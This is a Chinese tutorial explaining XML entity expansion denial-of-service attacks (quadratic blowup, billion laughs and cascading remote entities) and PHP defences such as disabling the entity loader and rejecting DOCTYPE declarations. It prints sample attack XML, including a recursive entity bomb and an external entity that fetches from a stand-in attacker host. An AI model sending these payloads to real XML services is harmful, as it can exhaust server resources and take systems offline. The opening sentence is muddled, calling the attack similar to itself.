XML實體擴展攻擊的示例分析

小編給大家分享一下XML實體擴展攻擊的示例分析，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！

XMl Entity Expansion（攻擊）某種程度上類似于 XML Entity Expansion，但是它主要試圖通過消耗目標程序的服務器環境來進行DOS攻擊的。這種攻擊基于XML Entity Expansion實現，通過在XML的DOCTYPE中創建自定義實體的定義實現，比如，這種定義可以在內存中生成一個比XML的原始允許大小大出很多的XML結構，來使這種攻擊得以耗盡網絡服務器正常有效運行的必需內存資源。這種攻擊方式同樣適用于HTML5的XML序列化功能模塊，該模塊當前還不能被libxml2擴展包識別為HTML。

XML Entity Expansion舉例

要擴展XML自定義實體以達到預期的耗盡服務器資源效果有好幾種方式。

Generic Entity Expansion

通用實體擴展攻擊

通用實體擴展攻擊同樣被稱為“Quadratic Blowup Attack”，使用這種方式時，自定義實體被定義為一個極長的字符串。當文件中大量使用這個實體時，該實體在每次調用時都會進行擴展，生成一個大幅超出原XML所需RAM大小的XML結構。

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

通過平衡自定義實體字符串大小和文檔主體內使用實體數量，可以創建一個擴展至占用服務器可預測RAM空間大小的XML文檔或字符串。通過這樣重復請求來占用服務器RAM，就可以發動一次成功的拒絕服務攻擊。該方式的缺陷是，由于產生內存消耗效果是基于簡單數乘的，因此初始XML文檔或字符串本身需要足夠大。

遞歸實體擴展攻擊

通用實體擴展攻擊需要足夠大的XML輸入數據量，而遞歸實體擴展攻擊的平均輸入字節能產生更強力的攻擊效果。這種攻擊方式依賴于XML解析器來解析，從而完成小實體集的指數級增長。通過這種指數爆炸性增長方式，一個比通用實體擴展攻擊使用小得多的輸入數據量實際可增長得極大。因此這種方式被稱為“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML Bomb攻擊并不需要可能會被程序限制的大量XML數據輸入。實體集像這樣指數倍增長，最終形成的擴展后文本大小是初始 &x0實體值的2的100次方倍。這著實是一個龐大且毀滅性超強的炸彈！

遠程實體擴展攻擊

常規和遞歸實體擴展攻擊都依賴于XML文檔類型定義中定義在本地的實體，但是攻擊者同樣可以進行外部實體定義。這很顯然需要XML解析器能夠像我們之前在描述XML外部實體注入式攻擊（XXE）時遇到的那樣，發起遠程HTTP請求。而拒絕這種請求對你的XML解析器而言是一種基礎的安保措施。因此，防御XXE攻擊的措施同樣適用于此類XML實體擴展攻擊。

雖說可以通過上述方式進行防御，遠程實體擴展通過使XML解析器發出遠程HTTP請求來獲得被引用實體的擴展值來進行攻擊。返回結果將自行定義其他XML解析器必須另行HTTP請求的外部實體。如此一來，一些看似并無攻擊性的請求會迅速脫離控制，并給服務器的可用資源帶來負擔。這種情況下，如果請求自包括一個遞歸擴展攻擊，那最終結果會更加糟糕。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

上述攻擊手法還有可能更加迂回地進行DOS攻擊，比如，遠程請求被調整到針對本地程序或其他任何共享其服務器資源的程序。這種攻擊方式可能造成自我損傷式的DOS攻擊，其中， XML解析器嘗試解析外部實體可能會觸發無數針對本地程序的請求，并由此消耗更多的服務器資源。該方式因此被用于放大之前討論過的關于使用XML外部實體注入式攻擊（XXE）以完成DOS攻擊的攻擊影響。

針對XML實體擴展攻擊的防御措施

下列常規防御措施，是從我們針對普通XML外部實體攻擊（XXE）的防御措施繼承而來的。我們應當拒絕XML中自定義實體對本地文件和遠程HTTP請求的解析，并可使用以下可全局應用于所有內部使用了libxml2函數的PHP或XML所書寫擴展的函數進行拒絕。

libxml_disable_entity_loader(true);

誠然PHP以不按常理出牌著稱，它并不使用常規的防御方式。常規的防御方式在文檔類型聲明中，使用XML的文檔類型定義來完全拒絕通過自定義實體的定義。PHP也的確為防御功能定義了一個替代實體的LIBXML_NOENT常量，以及 DOMDocument::$substituteEntities 公共屬性，但是使用這兩條定義的防御效果不甚明顯。似乎我們只能這樣將就解決問題，而沒有任何更好的解決方案。

雖說沒有更好的方案，libxml2函數也確實內置了默認拒絕遞歸實體解析。要知道遞歸實體要是出了問題可是能讓你的錯誤日志”咻”地一下跟點亮圣誕樹一樣全面飄紅的。如此看來，好像也沒必要特意針對遞歸實體使用一種特殊防御手段，盡管我們是得做點什么來防止萬一libxml2函數突然陷回解析遞歸實體的故障里去。

當下新型威脅主要來自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻擊方式。此類攻擊方式不需要調用遠程或本地系統，也不需要實體遞歸。事實上，唯一的防御措施要么是不用XML，要么是清理過濾所有包含文檔類型聲明的XML。除非要求的文檔類型聲明接收于安全的可信源，否則最安全的做法就是不用XML了。比如，我們是由同行驗證的HTTPS連接接受的。否則，既然PHP沒給我們提供禁用文檔類型定義的選項，那我們就只能自建邏輯了。假定你能調用 libxml_disable_entity_loader(TRUE)，那么后續程序運行就是安全的了，因為實體擴展這一步已經被遞延到被擴展影響的節點值可被再次訪問的時候了（然而勾選TURE以后永遠都訪問不到了）。

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}

當然啦，在 libxml_disable_entity_loader 被設定為TRUE的前提下，以上代碼才能正常運行，設定后XML初始加載的時外部實體引用就不會被解析了。除非解析器自己有一套全面的針對如何進行實體解析的控制選項，否則XML解析器不依賴libxml2函數進行解析時，恐怕這就是唯一的防御措施了。

如果你想使用SimpleXML函數，記得用the simplexml_import_dom()函數來轉換核驗過的DOMDocument項目。

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以上是“XML實體擴展攻擊的示例分析”這篇文章的所有內容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內容對大家有所幫助，如果還想學習更多知識，歡迎關注億速云行業資訊頻道！